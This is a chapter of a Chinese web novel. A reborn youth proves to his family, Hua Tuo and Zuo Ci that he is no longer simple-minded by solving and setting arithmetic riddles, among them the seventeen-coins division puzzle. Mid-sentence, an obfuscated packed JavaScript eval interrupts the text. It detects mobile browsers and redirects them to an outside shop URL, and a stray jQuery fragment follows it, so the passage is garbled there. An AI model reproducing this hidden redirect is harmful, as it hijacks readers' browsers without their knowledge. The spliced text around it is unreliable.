“我的儿啊,你怎么能跳崖呀,摔坏了吗?”
听说儿子跳了崖,周夫人章珏急得站了起来,连忙拉起周永,几乎是浑身上下查检了一遍。只到周永又蹦又跳,周夫人见周永的身体完好无恙,这才放下心来,又坐回到原来的位置。
真是可怜天下父母心啊,什么时候,母亲总是最爱自己的儿子。看到周夫人那么紧张的样子,周永的心里只感觉到一阵温暖。为了不让周夫人再过多担心,周永连忙又讲了下去。
“后来我才知道,我只是摔昏过去了。昏睡一夜后我又醒了过来,就被土匪关了起来。不过这一摔,让我明白了许多东西,慢慢地想起好多事情来,但是也有一些事情忘记了。”
“昨天夜里,听到那些土匪议论周家山庄在卖地,我更着仇了,天黑后我找了个机会又一次跑了。就在土匪追赶我的时候,我遇到了杨家山庄的夫人和小姐在山上打猎,可是她们只带了四个丫环,结果被土匪追了上来,她们只好跟着我一起跑。后来被土匪追得无路可逃,我们只好一起跳下了山崖。”
“幸好山崖下面是条河,我们上岸后继续跑,就在土匪们追上的时候,我们又遇到了左慈道长,在左慈道长的指点下,我们打跑了土匪,这才得以脱身。后来我就拜左慈道长为师傅,请左慈师傅到周家大庄来教我武功。”
“呵呵,你可别往我的脸上贴金,土匪是你自己打跑的,可没我什么事。”
听到周永把打跑土匪的功劳归功于自己,左慈连忙笑着说道。可是不管左慈如何辩解,满坐的人都认为他是在谦虚,周夫人甚至走下座位来向左慈致谢,把个左慈搞得不知所措。
“好!好!好!大难不死,必有后福。周永经过此次磨难,今后肯定会百事顺心,万事如意。”
大舅爷章良站了起来,连说了几声好,情绪颇有些激动。这几天来,他可是陪着他的妹妹着了大急,现如今周永平安归来,不由得心花怒放,说话的声音也大了起来。他看了看左慈,兴奋地问道。
“道长,你最会看相,你说周永面相如何?”
“大舅爷,我观公子霉运已去,以后鸿运当头,诸事顺利。且公子天庭保满,地角方圆,额大面方,发软如丝。将来一定是妻妾如云
,枝叶繁茂,一世荣华,贵居人上。公子今生贵不可言,将来肯定是人上之人。”
这样的吉利话,对于左慈来说,犹如打开了龙头的自来水,要多少有多少。此时此刻,无非是图个吉利、热闹而已,然而夫人听了,立即眉开眼笑,仿佛那富贵已经接踵而来。
“那就托道长的吉言了。”
不仅夫人把左慈的话当了真,就连大舅爷也当了真,他再次走到周永身边,把周永拉了起来,上上下下地把周永认真地看了一遍,越看越觉得惊奇,不由得露出了满脸的疑惑。
“周永,刚才一番话,你说得条理清晰、头头是道,原来那个周永肯定说不出来。莫非你跳两次山崖,真得摔得开了窍?”
“呵呵,大舅爷,我说过,有些事情我是想起来了,可是有些事情却又忘记了。至于是不是开了窍,我也不知道。”
对于大家的疑问,周永只能如此回答,以便让大家重新认识他,怎么也不能再把他当成一个傻子。他还有满腔的抱负要实现呢,要是还是人们眼中的傻子,又有谁会跟着他?
大舅爷章良点了点头,他似乎相信了周永的话。他围着周永转了一圈,抬头看了看周永的母亲,得到夫人的首肯后,突然伸出左手,竖起四根手指头,在周永的面前晃了晃。
“周永,这是几根手指头?”
天啊,你这不是羞辱人嘛,难道那个大傻子连几根手指头也数不清?再怎么不识数,这大傻子也有十八岁了啊。不过看大舅爷认真的样子,肯定没有嘲笑的意思,便朝大舅爷笑了笑。
“大舅爷,这是四根手指头。”
“那么这是几根手指头呢?”
“这是五根手指头。”
“他们加起来是几根手指头?”
“他们加起来是九根手指头。”
“呵呵,妹子,周永这一摔,真开窍了啊。”
大舅爷呵呵笑着,显得异常高兴。而周夫人也是笑容满面,欣喜地看着周永。就连那没有说话的姑太太,脸上也露出了一丝的惊奇。那几个表兄弟,则象看稀奇般地看着周永。
周永差一点没有晕过去,就这计算手指头,恐怕他还在上幼儿圆小班的时候,他都已经会算了。而现在大舅爷还拿来葵,而他的母亲还在旁边笑着,要是就这水平,自己还活个什么劲?
“表弟,表弟,我来考考你。”
姑太太的大儿子,也就是周永的姑表兄弟杜山兴致勃勃地站了起来。周永打量了一眼两个姑表兄弟,两兄弟长得白白净净,看起来非常文静,与他们的母亲倒有几份相象,倒是继承了周家的特征,长得高大魁梧。
不过些时他的嘴角似乎带有一丝嘲笑,看他那架式,那大傻子平日里肯定是这些表兄弟取笑的对象,而今日章夫人竟然没有制止,显然她也不认为这是对周永的羞辱,只是想看看周永究竟有什么变化。
“树上有九只
鸟,你拿弓箭射下来一只,树上还剩下几只?”
周永真的要晕过去了,他甚至有一种想骂人的冲动。这种小儿科的题目你也敢拿来考我,我要是老老实实的回答,也是被你们调笑了,可是也不能答错,那样他们还会嘲笑自己。他想了想,朝他们笑了起来。
“树上还有一只鸟。”
“哦,为什么呢?”
“因为那是只呆鸟。”
“哈哈哈……”
大家稍微楞了一下,随即哈哈哈地大笑起来。周永也没有搞明白,他们究竟是在笑自己傻呢,还是在笑自己的幽默。不过周永也懒得猜他们的心思,自己也跟着哈哈哈地大笑起来。
“表弟,我也来考考你。”
大舅爷的大儿子,也就是周永的舅表兄弟章文站了起来,他也来跟着凑凑热闹。大舅爷的两个儿子肤色要深得多,举手投足之间,显得果决、干脆,颇有武将的风范。
不过他在站起来之前,还是先看了看他爹的表情,得到了他爹的默许,他才站起来的。他的表情倒是非常认真,没有丝毫调笑的意思,他在大厅里走了几步,朗声说了起来。
“集市上有44只白鹅和山羊,它们共有100条腿。请问白鹅和山羊各有几只?”
听完章文的考题,周永不由得笑了笑。看来这个表兄弟还真是想知道自己是不是变得聪明了,他暗暗地点了点头。这样的题目他几乎可以随口回答,他稍微犹豫了一下,便说了出来。
“38只鹅,6只羊。”
“好、好。”
这次大家才是真正的叫起好来,大舅爷兴奋的脸上放光,不住在点头,周夫人则是激动得热泪长流,站在她身旁的丫环周蓉连忙为她换上手巾。姑太太却是满脸茫然,
她自己一时之间还没有算出来呢。
“你们都考了我,现在轮到我考考你们了。”
周永笑了笑,走上前来。他在心里盘算着,自己要出个既能让他们理解,又能让他们做不出来的题目,要是来道高等数学,还不得把他们吓死?他边走边想,终于想起一道题来。
“给我找十七枚铜钱来。”
他口袋里可是一枚铜钱也没有,只好吩咐仆人取来了十七枚铜钱。这是他第一次看到钱,不由得拿在手里端祥了一番,然后他把十七枚铜钱放在一个盘子里,端到大舅爷的面前,朝着大舅爷行了一礼。
“大舅爷,这里有十七枚铜钱,我把这些钱分别送给大舅爷、杜山表哥、章文表哥,感谢你们出题考我。其中送给大舅爷二分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14123650|149880||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之一,送给杜山表哥三分之一,送给章文表哥九分之一,你们拿去分吧。不过,可不能把钱砍成几半哟。”
“啊……”
大舅爷当即就明白了,这是周永在刁难自己。十七枚铜钱,不管是二分之一,三分之一,还是九分之一,无论如何是分不开的。他不由得笑了起来,这周永倒是报复的快呀,可是你就是报复也要出道有解的题呀,这不是瞎闹吗?
“周永,你分得清吗?”
“当然,我当然有办法分清。”
“哦……”
这下轮到大舅爷傻眼了,他把盘子推给了身边的两个儿子,让他们仔细想想,自己也暗暗琢磨。不止是大舅爷,大厅里所有的人也开始琢磨,都各自在心里默默地计算。
“大管家,你最会算计了,你分得清吗?”
大舅爷抬头看着站在一旁的管家周发,连忙问他。在这些人中,恐怕周发是最能计算的了,对于算数也最有权威。周发也在心里算了一会,觉得不可能分清,可是又不敢打击了公子的兴趣,只好笑了笑。
“周发愚昧,实在是分不清。”
连周发兜分不清了,大舅爷突然看到了华佗和左慈,心想这两人一个是四处游方的医生,一个是到处行走的道士,肯定是饱学之士,也是这些人当中学问最高的,应该有办法。
“华佗先生,左慈道长,你们两个可是有大学问的高人,可有办法分得清?”
那华佗、左慈早就已经估计到大舅爷会问到自己,已经低头在那里想了半天了,可是他们
也没有想明白如何分。虽然华佗医术高超,在医学领域出类拔萃,虽然左慈道行高深,法术千变万化,可是他们毕竟差了几千年的知道。凭经验,他们就认为这是一道无解的题目,是周永拿来有意报复大家的。
“实在是惭愧,我无法分清。”
华佗倒是勇于承认自己的不足,这也符合他一贯的作风。不懂就是不懂,医学上本来就没有百事通,未知的领域还非常多,谁敢说自己是就能包治百病,那肯定就是个骗子。
现在最难堪的要属左慈了,周永一口一个师傅叫着,可是他却连自己徒弟出的题目也分不清,不由得老脸有些红了。道士们可是样样精通的,你要是说不懂,以后还怎么在江湖上混饭吃。
周永不由得在心里暗笑,看你们以后谁还敢在我面前提算数,我懂得的东西,你们这辈子也休想学会。等我有空了,再把算盘和阿拉伯数字发明出来,让你们开开眼界。
不过,他现在也不想让左慈难堪,他知道左慈是不会回答的。这些江湖人士,碰到自己不知道的,
要么编一套瞎话骗人,要么什么也不说,打死他们也不会承认自己不会。
“你们真的分不清吗?”
他有意望着大家说道,这就撇开了左慈,把众人的注意力全部吸引到他的身上,使得大家暂时忘记了左慈。果然,大家急切地想知道答案,根本没有人去问左慈会不会分开。
“周永,我们都分不清,你来分给我们看看。”
“很好。管家,借我一枚铜钱。”
周永笑了笑,走到周发身边,从周发的手里接过一枚铜钱。他把钱在众人面前亮了亮,然后把它放到那个装有十七枚铜钱的盘子里,这时盘子里就变成了十八枚铜钱。
“大舅爷,我找管家借了一枚铜钱,现在盘子里就有十八枚铜钱。大舅爷分得二分之一就是九枚铜钱,杜山表哥三分之一就是六枚铜钱,章文表哥二分之一就是二枚铜钱,总共十七枚铜钱。还剩下一枚铜钱,是管家的,我把他还给管家。”
“啊……”
所有的人都瞪大了眼睛,发出一声惊讶的叫声。他们怎么也搞不明白,管家的一枚铜钱明明被他们分了,为何最后还多出一枚铜钱来?众人的眼睛盯着周永,这该死的一枚铜钱是从哪里来的?